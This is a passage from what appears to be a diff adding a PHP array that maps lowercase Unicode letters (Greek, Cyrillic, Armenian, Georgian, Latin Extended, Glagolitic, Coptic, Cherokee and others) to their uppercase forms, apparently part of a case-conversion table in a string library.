'φ' => 'Φ', + 'χ' => 'Χ', + 'ψ' => 'Ψ', + 'ω' => 'Ω', + 'ϊ' => 'Ϊ', + 'ϋ' => 'Ϋ', + 'ό' => 'Ό', + 'ύ' => 'Ύ', + 'ώ' => 'Ώ', + 'ϐ' => 'Β', + 'ϑ' => 'Θ', + 'ϕ' => 'Φ', + 'ϖ' => 'Π', + 'ϗ' => 'Ϗ', + 'ϙ' => 'Ϙ', + 'ϛ' => 'Ϛ', + 'ϝ' => 'Ϝ', + 'ϟ' => 'Ϟ', + 'ϡ' => 'Ϡ', + 'ϣ' => 'Ϣ', + 'ϥ' => 'Ϥ', + 'ϧ' => 'Ϧ', + 'ϩ' => 'Ϩ', + 'ϫ' => 'Ϫ', + 'ϭ' => 'Ϭ', + 'ϯ' => 'Ϯ', + 'ϰ' => 'Κ', + 'ϱ' => 'Ρ', + 'ϲ' => 'Ϲ', + 'ϳ' => 'Ϳ', + 'ϵ' => 'Ε', + 'ϸ' => 'Ϸ', + 'ϻ' => 'Ϻ', + 'а' => 'А', + 'б' => 'Б', + 'в' => 'В', + 'г' => 'Г', + 'д' => 'Д', + 'е' => 'Е', + 'ж' => 'Ж', + 'з' => 'З', + 'и' => 'И', + 'й' => 'Й', + 'к' => 'К', + 'л' => 'Л', + 'м' => 'М', + 'н' => 'Н', + 'о' => 'О', + 'п' => 'П', + 'р' => 'Р', + 'с' => 'С', + 'т' => 'Т', + 'у' => 'У', + 'ф' => 'Ф', + 'х' => 'Х', + 'ц' => 'Ц', + 'ч' => 'Ч', + 'ш' => 'Ш', + 'щ' => 'Щ', + 'ъ' => 'Ъ', + 'ы' => 'Ы', + 'ь' => 'Ь', + 'э' => 'Э', + 'ю' => 'Ю', + 'я' => 'Я', + 'ѐ' => 'Ѐ', + 'ё' => 'Ё', + 'ђ' => 'Ђ', + 'ѓ' => 'Ѓ', + 'є' => 'Є', + 'ѕ' => 'Ѕ', + 'і' => 'І', + 'ї' => 'Ї', + 'ј' => 'Ј', + 'љ' => 'Љ', + 'њ' => 'Њ', + 'ћ' => 'Ћ', + 'ќ' => 'Ќ', + 'ѝ' => 'Ѝ', + 'ў' => 'Ў', + 'џ' => 'Џ', + 'ѡ' => 'Ѡ', + 'ѣ' => 'Ѣ', + 'ѥ' => 'Ѥ', + 'ѧ' => 'Ѧ', + 'ѩ' => 'Ѩ', + 'ѫ' => 'Ѫ', + 'ѭ' => 'Ѭ', + 'ѯ' => 'Ѯ', + 'ѱ' => 'Ѱ', + 'ѳ' => 'Ѳ', + 'ѵ' => 'Ѵ', + 'ѷ' => 'Ѷ', + 'ѹ' => 'Ѹ', + 'ѻ' => 'Ѻ', + 'ѽ' => 'Ѽ', + 'ѿ' => 'Ѿ', + 'ҁ' => 'Ҁ', + 'ҋ' => 'Ҋ', + 'ҍ' => 'Ҍ', + 'ҏ' => 'Ҏ', + 'ґ' => 'Ґ', + 'ғ' => 'Ғ', + 'ҕ' => 'Ҕ', + 'җ' => 'Җ', + 'ҙ' => 'Ҙ', + 'қ' => 'Қ', + 'ҝ' => 'Ҝ', + 'ҟ' => 'Ҟ', + 'ҡ' => 'Ҡ', + 'ң' => 'Ң', + 'ҥ' => 'Ҥ', + 'ҧ' => 'Ҧ', + 'ҩ' => 'Ҩ', + 'ҫ' => 'Ҫ', + 'ҭ' => 'Ҭ', + 'ү' => 'Ү', + 'ұ' => 'Ұ', + 'ҳ' => 'Ҳ', + 'ҵ' => 'Ҵ', + 'ҷ' => 'Ҷ', + 'ҹ' => 'Ҹ', + 'һ' => 'Һ', + 'ҽ' => 'Ҽ', + 'ҿ' => 'Ҿ', + 'ӂ' => 'Ӂ', + 'ӄ' => 'Ӄ', + 'ӆ' => 'Ӆ', + 'ӈ' => 'Ӈ', + 'ӊ' => 'Ӊ', + 'ӌ' => 'Ӌ', + 'ӎ' => 'Ӎ', + 'ӏ' => 'Ӏ', + 'ӑ' => 'Ӑ', + 'ӓ' => 'Ӓ', + 'ӕ' => 'Ӕ', + 'ӗ' => 'Ӗ', + 'ә' => 'Ә', + 'ӛ' => 'Ӛ', + 'ӝ' => 'Ӝ', + 'ӟ' => 'Ӟ', + 'ӡ' => 'Ӡ', + 'ӣ' => 'Ӣ', + 'ӥ' => 'Ӥ', + 'ӧ' => 'Ӧ', + 'ө' => 'Ө', + 'ӫ' => 'Ӫ', + 'ӭ' => 'Ӭ', + 'ӯ' => 'Ӯ', + 'ӱ' => 'Ӱ', + 'ӳ' => 'Ӳ', + 'ӵ' => 'Ӵ', + 'ӷ' => 'Ӷ', + 'ӹ' => 'Ӹ', + 'ӻ' => 'Ӻ', + 'ӽ' => 'Ӽ', + 'ӿ' => 'Ӿ', + 'ԁ' => 'Ԁ', + 'ԃ' => 'Ԃ', + 'ԅ' => 'Ԅ', + 'ԇ' => 'Ԇ', + 'ԉ' => 'Ԉ', + 'ԋ' => 'Ԋ', + 'ԍ' => 'Ԍ', + 'ԏ' => 'Ԏ', + 'ԑ' => 'Ԑ', + 'ԓ' => 'Ԓ', + 'ԕ' => 'Ԕ', + 'ԗ' => 'Ԗ', + 'ԙ' => 'Ԙ', + 'ԛ' => 'Ԛ', + 'ԝ' => 'Ԝ', + 'ԟ' => 'Ԟ', + 'ԡ' => 'Ԡ', + 'ԣ' => 'Ԣ', + 'ԥ' => 'Ԥ', + 'ԧ' => 'Ԧ', + 'ԩ' => 'Ԩ', + 'ԫ' => 'Ԫ', + 'ԭ' => 'Ԭ', + 'ԯ' => 'Ԯ', + 'ա' => 'Ա', + 'բ' => 'Բ', + 'գ' => 'Գ', + 'դ' => 'Դ', + 'ե' => 'Ե', + 'զ' => 'Զ', + 'է' => 'Է', + 'ը' => 'Ը', + 'թ' => 'Թ', + 'ժ' => 'Ժ', + 'ի' => 'Ի', + 'լ' => 'Լ', + 'խ' => 'Խ', + 'ծ' => 'Ծ', + 'կ' => 'Կ', + 'հ' => 'Հ', + 'ձ' => 'Ձ', + 'ղ' => 'Ղ', + 'ճ' => 'Ճ', + 'մ' => 'Մ', + 'յ' => 'Յ', + 'ն' => 'Ն', + 'շ' => 'Շ', + 'ո' => 'Ո', + 'չ' => 'Չ', + 'պ' => 'Պ', + 'ջ' => 'Ջ', + 'ռ' => 'Ռ', + 'ս' => 'Ս', + 'վ' => 'Վ', + 'տ' => 'Տ', + 'ր' => 'Ր', + 'ց' => 'Ց', + 'ւ' => 'Ւ', + 'փ' => 'Փ', + 'ք' => 'Ք', + 'օ' => 'Օ', + 'ֆ' => 'Ֆ', + 'ა' => 'Ა', + 'ბ' => 'Ბ', + 'გ' => 'Გ', + 'დ' => 'Დ', + 'ე' => 'Ე', + 'ვ' => 'Ვ', + 'ზ' => 'Ზ', + 'თ' => 'Თ', + 'ი' => 'Ი', + 'კ' => 'Კ', + 'ლ' => 'Ლ', + 'მ' => 'Მ', + 'ნ' => 'Ნ', + 'ო' => 'Ო', + 'პ' => 'Პ', + 'ჟ' => 'Ჟ', + 'რ' => 'Რ', + 'ს' => 'Ს', + 'ტ' => 'Ტ', + 'უ' => 'Უ', + 'ფ' => 'Ფ', + 'ქ' => 'Ქ', + 'ღ' => 'Ღ', + 'ყ' => 'Ყ', + 'შ' => 'Შ', + 'ჩ' => 'Ჩ', + 'ც' => 'Ც', + 'ძ' => 'Ძ', + 'წ' => 'Წ', + 'ჭ' => 'Ჭ', + 'ხ' => 'Ხ', + 'ჯ' => 'Ჯ', + 'ჰ' => 'Ჰ', + 'ჱ' => 'Ჱ', + 'ჲ' => 'Ჲ', + 'ჳ' => 'Ჳ', + 'ჴ' => 'Ჴ', + 'ჵ' => 'Ჵ', + 'ჶ' => 'Ჶ', + 'ჷ' => 'Ჷ', + 'ჸ' => 'Ჸ', + 'ჹ' => 'Ჹ', + 'ჺ' => 'Ჺ', + 'ჽ' => 'Ჽ', + 'ჾ' => 'Ჾ', + 'ჿ' => 'Ჿ', + 'ᏸ' => 'Ᏸ', + 'ᏹ' => 'Ᏹ', + 'ᏺ' => 'Ᏺ', + 'ᏻ' => 'Ᏻ', + 'ᏼ' => 'Ᏼ', + 'ᏽ' => 'Ᏽ', + 'ᲀ' => 'В', + 'ᲁ' => 'Д', + 'ᲂ' => 'О', + 'ᲃ' => 'С', + 'ᲄ' => 'Т', + 'ᲅ' => 'Т', + 'ᲆ' => 'Ъ', + 'ᲇ' => 'Ѣ', + 'ᲈ' => 'Ꙋ', + 'ᵹ' => 'Ᵹ', + 'ᵽ' => 'Ᵽ', + 'ᶎ' => 'Ᶎ', + 'ḁ' => 'Ḁ', + 'ḃ' => 'Ḃ', + 'ḅ' => 'Ḅ', + 'ḇ' => 'Ḇ', + 'ḉ' => 'Ḉ', + 'ḋ' => 'Ḋ', + 'ḍ' => 'Ḍ', + 'ḏ' => 'Ḏ', + 'ḑ' => 'Ḑ', + 'ḓ' => 'Ḓ', + 'ḕ' => 'Ḕ', + 'ḗ' => 'Ḗ', + 'ḙ' => 'Ḙ', + 'ḛ' => 'Ḛ', + 'ḝ' => 'Ḝ', + 'ḟ' => 'Ḟ', + 'ḡ' => 'Ḡ', + 'ḣ' => 'Ḣ', + 'ḥ' => 'Ḥ', + 'ḧ' => 'Ḧ', + 'ḩ' => 'Ḩ', + 'ḫ' => 'Ḫ', + 'ḭ' => 'Ḭ', + 'ḯ' => 'Ḯ', + 'ḱ' => 'Ḱ', + 'ḳ' => 'Ḳ', + 'ḵ' => 'Ḵ', + 'ḷ' => 'Ḷ', + 'ḹ' => 'Ḹ', + 'ḻ' => 'Ḻ', + 'ḽ' => 'Ḽ', + 'ḿ' => 'Ḿ', + 'ṁ' => 'Ṁ', + 'ṃ' => 'Ṃ', + 'ṅ' => 'Ṅ', + 'ṇ' => 'Ṇ', + 'ṉ' => 'Ṉ', + 'ṋ' => 'Ṋ', + 'ṍ' => 'Ṍ', + 'ṏ' => 'Ṏ', + 'ṑ' => 'Ṑ', + 'ṓ' => 'Ṓ', + 'ṕ' => 'Ṕ', + 'ṗ' => 'Ṗ', + 'ṙ' => 'Ṙ', + 'ṛ' => 'Ṛ', + 'ṝ' => 'Ṝ', + 'ṟ' => 'Ṟ', + 'ṡ' => 'Ṡ', + 'ṣ' => 'Ṣ', + 'ṥ' => 'Ṥ', + 'ṧ' => 'Ṧ', + 'ṩ' => 'Ṩ', + 'ṫ' => 'Ṫ', + 'ṭ' => 'Ṭ', + 'ṯ' => 'Ṯ', + 'ṱ' => 'Ṱ', + 'ṳ' => 'Ṳ', + 'ṵ' => 'Ṵ', + 'ṷ' => 'Ṷ', + 'ṹ' => 'Ṹ', + 'ṻ' => 'Ṻ', + 'ṽ' => 'Ṽ', + 'ṿ' => 'Ṿ', + 'ẁ' => 'Ẁ', + 'ẃ' => 'Ẃ', + 'ẅ' => 'Ẅ', + 'ẇ' => 'Ẇ', + 'ẉ' => 'Ẉ', + 'ẋ' => 'Ẋ', + 'ẍ' => 'Ẍ', + 'ẏ' => 'Ẏ', + 'ẑ' => 'Ẑ', + 'ẓ' => 'Ẓ', + 'ẕ' => 'Ẕ', + 'ẛ' => 'Ṡ', + 'ạ' => 'Ạ', + 'ả' => 'Ả', + 'ấ' => 'Ấ', + 'ầ' => 'Ầ', + 'ẩ' => 'Ẩ', + 'ẫ' => 'Ẫ', + 'ậ' => 'Ậ', + 'ắ' => 'Ắ', + 'ằ' => 'Ằ', + 'ẳ' => 'Ẳ', + 'ẵ' => 'Ẵ', + 'ặ' => 'Ặ', + 'ẹ' => 'Ẹ', + 'ẻ' => 'Ẻ', + 'ẽ' => 'Ẽ', + 'ế' => 'Ế', + 'ề' => 'Ề', + 'ể' => 'Ể', + 'ễ' => 'Ễ', + 'ệ' => 'Ệ', + 'ỉ' => 'Ỉ', + 'ị' => 'Ị', + 'ọ' => 'Ọ', + 'ỏ' => 'Ỏ', + 'ố' => 'Ố', + 'ồ' => 'Ồ', + 'ổ' => 'Ổ', + 'ỗ' => 'Ỗ', + 'ộ' => 'Ộ', + 'ớ' => 'Ớ', + 'ờ' => 'Ờ', + 'ở' => 'Ở', + 'ỡ' => 'Ỡ', + 'ợ' => 'Ợ', + 'ụ' => 'Ụ', + 'ủ' => 'Ủ', + 'ứ' => 'Ứ', + 'ừ' => 'Ừ', + 'ử' => 'Ử', + 'ữ' => 'Ữ', + 'ự' => 'Ự', + 'ỳ' => 'Ỳ', + 'ỵ' => 'Ỵ', + 'ỷ' => 'Ỷ', + 'ỹ' => 'Ỹ', + 'ỻ' => 'Ỻ', + 'ỽ' => 'Ỽ', + 'ỿ' => 'Ỿ', + 'ἀ' => 'Ἀ', + 'ἁ' => 'Ἁ', + 'ἂ' => 'Ἂ', + 'ἃ' => 'Ἃ', + 'ἄ' => 'Ἄ', + 'ἅ' => 'Ἅ', + 'ἆ' => 'Ἆ', + 'ἇ' => 'Ἇ', + 'ἐ' => 'Ἐ', + 'ἑ' => 'Ἑ', + 'ἒ' => 'Ἒ', + 'ἓ' => 'Ἓ', + 'ἔ' => 'Ἔ', + 'ἕ' => 'Ἕ', + 'ἠ' => 'Ἠ', + 'ἡ' => 'Ἡ', + 'ἢ' => 'Ἢ', + 'ἣ' => 'Ἣ', + 'ἤ' => 'Ἤ', + 'ἥ' => 'Ἥ', + 'ἦ' => 'Ἦ', + 'ἧ' => 'Ἧ', + 'ἰ' => 'Ἰ', + 'ἱ' => 'Ἱ', + 'ἲ' => 'Ἲ', + 'ἳ' => 'Ἳ', + 'ἴ' => 'Ἴ', + 'ἵ' => 'Ἵ', + 'ἶ' => 'Ἶ', + 'ἷ' => 'Ἷ', + 'ὀ' => 'Ὀ', + 'ὁ' => 'Ὁ', + 'ὂ' => 'Ὂ', + 'ὃ' => 'Ὃ', + 'ὄ' => 'Ὄ', + 'ὅ' => 'Ὅ', + 'ὑ' => 'Ὑ', + 'ὓ' => 'Ὓ', + 'ὕ' => 'Ὕ', + 'ὗ' => 'Ὗ', + 'ὠ' => 'Ὠ', + 'ὡ' => 'Ὡ', + 'ὢ' => 'Ὢ', + 'ὣ' => 'Ὣ', + 'ὤ' => 'Ὤ', + 'ὥ' => 'Ὥ', + 'ὦ' => 'Ὦ', + 'ὧ' => 'Ὧ', + 'ὰ' => 'Ὰ', + 'ά' => 'Ά', + 'ὲ' => 'Ὲ', + 'έ' => 'Έ', + 'ὴ' => 'Ὴ', + 'ή' => 'Ή', + 'ὶ' => 'Ὶ', + 'ί' => 'Ί', + 'ὸ' => 'Ὸ', + 'ό' => 'Ό', + 'ὺ' => 'Ὺ', + 'ύ' => 'Ύ', + 'ὼ' => 'Ὼ', + 'ώ' => 'Ώ', + 'ᾀ' => 'ᾈ', + 'ᾁ' => 'ᾉ', + 'ᾂ' => 'ᾊ', + 'ᾃ' => 'ᾋ', + 'ᾄ' => 'ᾌ', + 'ᾅ' => 'ᾍ', + 'ᾆ' => 'ᾎ', + 'ᾇ' => 'ᾏ', + 'ᾐ' => 'ᾘ', + 'ᾑ' => 'ᾙ', + 'ᾒ' => 'ᾚ', + 'ᾓ' => 'ᾛ', + 'ᾔ' => 'ᾜ', + 'ᾕ' => 'ᾝ', + 'ᾖ' => 'ᾞ', + 'ᾗ' => 'ᾟ', + 'ᾠ' => 'ᾨ', + 'ᾡ' => 'ᾩ', + 'ᾢ' => 'ᾪ', + 'ᾣ' => 'ᾫ', + 'ᾤ' => 'ᾬ', + 'ᾥ' => 'ᾭ', + 'ᾦ' => 'ᾮ', + 'ᾧ' => 'ᾯ', + 'ᾰ' => 'Ᾰ', + 'ᾱ' => 'Ᾱ', + 'ᾳ' => 'ᾼ', + 'ι' => 'Ι', + 'ῃ' => 'ῌ', + 'ῐ' => 'Ῐ', + 'ῑ' => 'Ῑ', + 'ῠ' => 'Ῠ', + 'ῡ' => 'Ῡ', + 'ῥ' => 'Ῥ', + 'ῳ' => 'ῼ', + 'ⅎ' => 'Ⅎ', + 'ⅰ' => 'Ⅰ', + 'ⅱ' => 'Ⅱ', + 'ⅲ' => 'Ⅲ', + 'ⅳ' => 'Ⅳ', + 'ⅴ' => 'Ⅴ', + 'ⅵ' => 'Ⅵ', + 'ⅶ' => 'Ⅶ', + 'ⅷ' => 'Ⅷ', + 'ⅸ' => 'Ⅸ', + 'ⅹ' => 'Ⅹ', + 'ⅺ' => 'Ⅺ', + 'ⅻ' => 'Ⅻ', + 'ⅼ' => 'Ⅼ', + 'ⅽ' => 'Ⅽ', + 'ⅾ' => 'Ⅾ', + 'ⅿ' => 'Ⅿ', + 'ↄ' => 'Ↄ', + 'ⓐ' => 'Ⓐ', + 'ⓑ' => 'Ⓑ', + 'ⓒ' => 'Ⓒ', + 'ⓓ' => 'Ⓓ', + 'ⓔ' => 'Ⓔ', + 'ⓕ' => 'Ⓕ', + 'ⓖ' => 'Ⓖ', + 'ⓗ' => 'Ⓗ', + 'ⓘ' => 'Ⓘ', + 'ⓙ' => 'Ⓙ', + 'ⓚ' => 'Ⓚ', + 'ⓛ' => 'Ⓛ', + 'ⓜ' => 'Ⓜ', + 'ⓝ' => 'Ⓝ', + 'ⓞ' => 'Ⓞ', + 'ⓟ' => 'Ⓟ', + 'ⓠ' => 'Ⓠ', + 'ⓡ' => 'Ⓡ', + 'ⓢ' => 'Ⓢ', + 'ⓣ' => 'Ⓣ', + 'ⓤ' => 'Ⓤ', + 'ⓥ' => 'Ⓥ', + 'ⓦ' => 'Ⓦ', + 'ⓧ' => 'Ⓧ', + 'ⓨ' => 'Ⓨ', + 'ⓩ' => 'Ⓩ', + 'ⰰ' => 'Ⰰ', + 'ⰱ' => 'Ⰱ', + 'ⰲ' => 'Ⰲ', + 'ⰳ' => 'Ⰳ', + 'ⰴ' => 'Ⰴ', + 'ⰵ' => 'Ⰵ', + 'ⰶ' => 'Ⰶ', + 'ⰷ' => 'Ⰷ', + 'ⰸ' => 'Ⰸ', + 'ⰹ' => 'Ⰹ', + 'ⰺ' => 'Ⰺ', + 'ⰻ' => 'Ⰻ', + 'ⰼ' => 'Ⰼ', + 'ⰽ' => 'Ⰽ', + 'ⰾ' => 'Ⰾ', + 'ⰿ' => 'Ⰿ', + 'ⱀ' => 'Ⱀ', + 'ⱁ' => 'Ⱁ', + 'ⱂ' => 'Ⱂ', + 'ⱃ' => 'Ⱃ', + 'ⱄ' => 'Ⱄ', + 'ⱅ' => 'Ⱅ', + 'ⱆ' => 'Ⱆ', + 'ⱇ' => 'Ⱇ', + 'ⱈ' => 'Ⱈ', + 'ⱉ' => 'Ⱉ', + 'ⱊ' => 'Ⱊ', + 'ⱋ' => 'Ⱋ', + 'ⱌ' => 'Ⱌ', + 'ⱍ' => 'Ⱍ', + 'ⱎ' => 'Ⱎ', + 'ⱏ' => 'Ⱏ', + 'ⱐ' => 'Ⱐ', + 'ⱑ' => 'Ⱑ', + 'ⱒ' => 'Ⱒ', + 'ⱓ' => 'Ⱓ', + 'ⱔ' => 'Ⱔ', + 'ⱕ' => 'Ⱕ', + 'ⱖ' => 'Ⱖ', + 'ⱗ' => 'Ⱗ', + 'ⱘ' => 'Ⱘ', + 'ⱙ' => 'Ⱙ', + 'ⱚ' => 'Ⱚ', + 'ⱛ' => 'Ⱛ', + 'ⱜ' => 'Ⱜ', + 'ⱝ' => 'Ⱝ', + 'ⱞ' => 'Ⱞ', + 'ⱡ' => 'Ⱡ', + 'ⱥ' => 'Ⱥ', + 'ⱦ' => 'Ⱦ', + 'ⱨ' => 'Ⱨ', + 'ⱪ' => 'Ⱪ', + 'ⱬ' => 'Ⱬ', + 'ⱳ' => 'Ⱳ', + 'ⱶ' => 'Ⱶ', + 'ⲁ' => 'Ⲁ', + 'ⲃ' => 'Ⲃ', + 'ⲅ' => 'Ⲅ', + 'ⲇ' => 'Ⲇ', + 'ⲉ' => 'Ⲉ', + 'ⲋ' => 'Ⲋ', + 'ⲍ' => 'Ⲍ', + 'ⲏ' => 'Ⲏ', + 'ⲑ' => 'Ⲑ', + 'ⲓ' => 'Ⲓ', + 'ⲕ' => 'Ⲕ', + 'ⲗ' => 'Ⲗ', + 'ⲙ' => 'Ⲙ', + 'ⲛ' => 'Ⲛ', + 'ⲝ' => 'Ⲝ', + 'ⲟ' => 'Ⲟ', + 'ⲡ' => 'Ⲡ', + 'ⲣ' => 'Ⲣ', + 'ⲥ' => 'Ⲥ', + 'ⲧ' => 'Ⲧ', + 'ⲩ' => 'Ⲩ', + 'ⲫ' => 'Ⲫ', + 'ⲭ' => 'Ⲭ', + 'ⲯ' => 'Ⲯ', + 'ⲱ' => 'Ⲱ', + 'ⲳ' => 'Ⲳ', + 'ⲵ' => 'Ⲵ', + 'ⲷ' => 'Ⲷ', + 'ⲹ' => 'Ⲹ', + 'ⲻ' => 'Ⲻ', + 'ⲽ' => 'Ⲽ', + 'ⲿ' => 'Ⲿ', + 'ⳁ' => 'Ⳁ', + 'ⳃ' => 'Ⳃ', + 'ⳅ' => 'Ⳅ', + 'ⳇ' => 'Ⳇ', + 'ⳉ' => 'Ⳉ', + 'ⳋ' => 'Ⳋ', + 'ⳍ' => 'Ⳍ', + 'ⳏ' => 'Ⳏ', + 'ⳑ' => 'Ⳑ', + 'ⳓ' => 'Ⳓ', + 'ⳕ' => 'Ⳕ', + 'ⳗ' => 'Ⳗ', + 'ⳙ' => 'Ⳙ', + 'ⳛ' => 'Ⳛ', + 'ⳝ' => 'Ⳝ', + 'ⳟ' => 'Ⳟ', + 'ⳡ' => 'Ⳡ', + 'ⳣ' => 'Ⳣ', + 'ⳬ' => 'Ⳬ', + 'ⳮ' => 'Ⳮ', + 'ⳳ' => 'Ⳳ', + 'ⴀ' => 'Ⴀ', + 'ⴁ' => 'Ⴁ', + 'ⴂ' => 'Ⴂ', + 'ⴃ' => 'Ⴃ', + 'ⴄ' => 'Ⴄ', + 'ⴅ' => 'Ⴅ', + 'ⴆ' => 'Ⴆ', + 'ⴇ' => 'Ⴇ', + 'ⴈ' => 'Ⴈ', + 'ⴉ' => 'Ⴉ', + 'ⴊ' => 'Ⴊ', + 'ⴋ' => 'Ⴋ', + 'ⴌ' => 'Ⴌ', + 'ⴍ' => 'Ⴍ', + 'ⴎ' => 'Ⴎ', + 'ⴏ' => 'Ⴏ', + 'ⴐ' => 'Ⴐ', + 'ⴑ' => 'Ⴑ', + 'ⴒ' => 'Ⴒ', + 'ⴓ' => 'Ⴓ', + 'ⴔ' => 'Ⴔ', + 'ⴕ' => 'Ⴕ', + 'ⴖ' => 'Ⴖ', + 'ⴗ' => 'Ⴗ', + 'ⴘ' => 'Ⴘ', + 'ⴙ' => 'Ⴙ', + 'ⴚ' => 'Ⴚ', + 'ⴛ' => 'Ⴛ', + 'ⴜ' => 'Ⴜ', + 'ⴝ' => 'Ⴝ', + 'ⴞ' => 'Ⴞ', + 'ⴟ' => 'Ⴟ', + 'ⴠ' => 'Ⴠ', + 'ⴡ' => 'Ⴡ', + 'ⴢ' => 'Ⴢ', + 'ⴣ' => 'Ⴣ', + 'ⴤ' => 'Ⴤ', + 'ⴥ' => 'Ⴥ', + 'ⴧ' => 'Ⴧ', + 'ⴭ' => 'Ⴭ', + 'ꙁ' => 'Ꙁ', + 'ꙃ' => 'Ꙃ', + 'ꙅ' => 'Ꙅ', + 'ꙇ' => 'Ꙇ', + 'ꙉ' => 'Ꙉ', + 'ꙋ' => 'Ꙋ', + 'ꙍ' => 'Ꙍ', + 'ꙏ' => 'Ꙏ', + 'ꙑ' => 'Ꙑ', + 'ꙓ' => 'Ꙓ', + 'ꙕ' => 'Ꙕ', + 'ꙗ' => 'Ꙗ', + 'ꙙ' => 'Ꙙ', + 'ꙛ' => 'Ꙛ', + 'ꙝ' => 'Ꙝ', + 'ꙟ' => 'Ꙟ', + 'ꙡ' => 'Ꙡ', + 'ꙣ' => 'Ꙣ', + 'ꙥ' => 'Ꙥ', + 'ꙧ' => 'Ꙧ', + 'ꙩ' => 'Ꙩ', + 'ꙫ' => 'Ꙫ', + 'ꙭ' => 'Ꙭ', + 'ꚁ' => 'Ꚁ', + 'ꚃ' => 'Ꚃ', + 'ꚅ' => 'Ꚅ', + 'ꚇ' => 'Ꚇ', + 'ꚉ' => 'Ꚉ', + 'ꚋ' => 'Ꚋ', + 'ꚍ' => 'Ꚍ', + 'ꚏ' => 'Ꚏ', + 'ꚑ' => 'Ꚑ', + 'ꚓ' => 'Ꚓ', + 'ꚕ' => 'Ꚕ', + 'ꚗ' => 'Ꚗ', + 'ꚙ' => 'Ꚙ', + 'ꚛ' => 'Ꚛ', + 'ꜣ' => 'Ꜣ', + 'ꜥ' => 'Ꜥ', + 'ꜧ' => 'Ꜧ', + 'ꜩ' => 'Ꜩ', + 'ꜫ' => 'Ꜫ', + 'ꜭ' => 'Ꜭ', + 'ꜯ' => 'Ꜯ', + 'ꜳ' => 'Ꜳ', + 'ꜵ' => 'Ꜵ', + 'ꜷ' => 'Ꜷ', + 'ꜹ' => 'Ꜹ', + 'ꜻ' => 'Ꜻ', + 'ꜽ' => 'Ꜽ', + 'ꜿ' => 'Ꜿ', + 'ꝁ' => 'Ꝁ', + 'ꝃ' => 'Ꝃ', + 'ꝅ' => 'Ꝅ', + 'ꝇ' => 'Ꝇ', + 'ꝉ' => 'Ꝉ', + 'ꝋ' => 'Ꝋ', + 'ꝍ' => 'Ꝍ', + 'ꝏ' => 'Ꝏ', + 'ꝑ' => 'Ꝑ', + 'ꝓ' => 'Ꝓ', + 'ꝕ' => 'Ꝕ', + 'ꝗ' => 'Ꝗ', + 'ꝙ' => 'Ꝙ', + 'ꝛ' => 'Ꝛ', + 'ꝝ' => 'Ꝝ', + 'ꝟ' => 'Ꝟ', + 'ꝡ' => 'Ꝡ', + 'ꝣ' => 'Ꝣ', + 'ꝥ' => 'Ꝥ', + 'ꝧ' => 'Ꝧ', + 'ꝩ' => 'Ꝩ', + 'ꝫ' => 'Ꝫ', + 'ꝭ' => 'Ꝭ', + 'ꝯ' => 'Ꝯ', + 'ꝺ' => 'Ꝺ', + 'ꝼ' => 'Ꝼ', + 'ꝿ' => 'Ꝿ', + 'ꞁ' => 'Ꞁ', + 'ꞃ' => 'Ꞃ', + 'ꞅ' => 'Ꞅ', + 'ꞇ' => 'Ꞇ', + 'ꞌ' => 'Ꞌ', + 'ꞑ' => 'Ꞑ', + 'ꞓ' => 'Ꞓ', + 'ꞔ' => 'Ꞔ', + 'ꞗ' => 'Ꞗ', + 'ꞙ' => 'Ꞙ', + 'ꞛ' => 'Ꞛ', + 'ꞝ' => 'Ꞝ', + 'ꞟ' => 'Ꞟ', + 'ꞡ' => 'Ꞡ', + 'ꞣ' => 'Ꞣ', + 'ꞥ' => 'Ꞥ', + 'ꞧ' => 'Ꞧ', + 'ꞩ' => 'Ꞩ', + 'ꞵ' => 'Ꞵ', + 'ꞷ' => 'Ꞷ', + 'ꞹ' => 'Ꞹ', + 'ꞻ' => 'Ꞻ', + 'ꞽ' => 'Ꞽ', + 'ꞿ' => 'Ꞿ', + 'ꟃ' => 'Ꟃ', + 'ꟈ' => 'Ꟈ', + 'ꟊ' => 'Ꟊ', + 'ꟶ' => 'Ꟶ', + 'ꭓ' => 'Ꭓ', + 'ꭰ' => 'Ꭰ', + 'ꭱ' => 'Ꭱ', + 'ꭲ' => 'Ꭲ', + 'ꭳ' => 'Ꭳ', + 'ꭴ' => 'Ꭴ', + 'ꭵ' => 'Ꭵ', + 'ꭶ' => 'Ꭶ', + 'ꭷ' => 'Ꭷ', + 'ꭸ' => 'Ꭸ', + 'ꭹ' => 'Ꭹ', + 'ꭺ' => 'Ꭺ', + 'ꭻ' => 'Ꭻ', + 'ꭼ' => 'Ꭼ', + 'ꭽ' => 'Ꭽ', + 'ꭾ' => 'Ꭾ', + 'ꭿ' => 'Ꭿ', + 'ꮀ' => 'Ꮀ', + 'ꮁ' => 'Ꮁ', + 'ꮂ' => 'Ꮂ', + 'ꮃ' => 'Ꮃ', + 'ꮄ' => 'Ꮄ', + 'ꮅ' => 'Ꮅ', + 'ꮆ' => 'Ꮆ', + 'ꮇ' => 'Ꮇ', + 'ꮈ' => 'Ꮈ', + 'ꮉ' => 'Ꮉ', + 'ꮊ' => 'Ꮊ', + 'ꮋ' => 'Ꮋ', + 'ꮌ' => 'Ꮌ', + 'ꮍ' => 'Ꮍ', + 'ꮎ' => 'Ꮎ', + 'ꮏ' => 'Ꮏ', + 'ꮐ' => 'Ꮐ', + 'ꮑ' => 'Ꮑ', + 'ꮒ' => 'Ꮒ', + 'ꮓ' => 'Ꮓ', + 'ꮔ' => 'Ꮔ', + 'ꮕ' => 'Ꮕ', + 'ꮖ' => 'Ꮖ', + 'ꮗ' => 'Ꮗ', + 'ꮘ' => 'Ꮘ', + 'ꮙ' => 'Ꮙ', + 'ꮚ' => 'Ꮚ', + 'ꮛ' => 'Ꮛ', + 'ꮜ' => 'Ꮜ', + 'ꮝ' => 'Ꮝ', + 'ꮞ' => 'Ꮞ', + 'ꮟ' => 'Ꮟ', + 'ꮠ' => 'Ꮠ', + 'ꮡ' => 'Ꮡ', + 'ꮢ' => 'Ꮢ', + 'ꮣ' => 'Ꮣ', + 'ꮤ' => 'Ꮤ', + 'ꮥ' => 'Ꮥ', + 'ꮦ' => 'Ꮦ', + 'ꮧ' => 'Ꮧ', + 'ꮨ' => 'Ꮨ', + 'ꮩ' => 'Ꮩ', + 'ꮪ' => 'Ꮪ', + 'ꮫ' => 'Ꮫ', + 'ꮬ' => 'Ꮬ', + 'ꮭ' => 'Ꮭ', + 'ꮮ' => 'Ꮮ', + 'ꮯ' => 'Ꮯ', + 'ꮰ' => 'Ꮰ', + 'ꮱ' => 'Ꮱ', + 'ꮲ' => 'Ꮲ', + 'ꮳ' => 'Ꮳ', + 'ꮴ' => 'Ꮴ', + 'ꮵ' => 'Ꮵ', + 'ꮶ' => 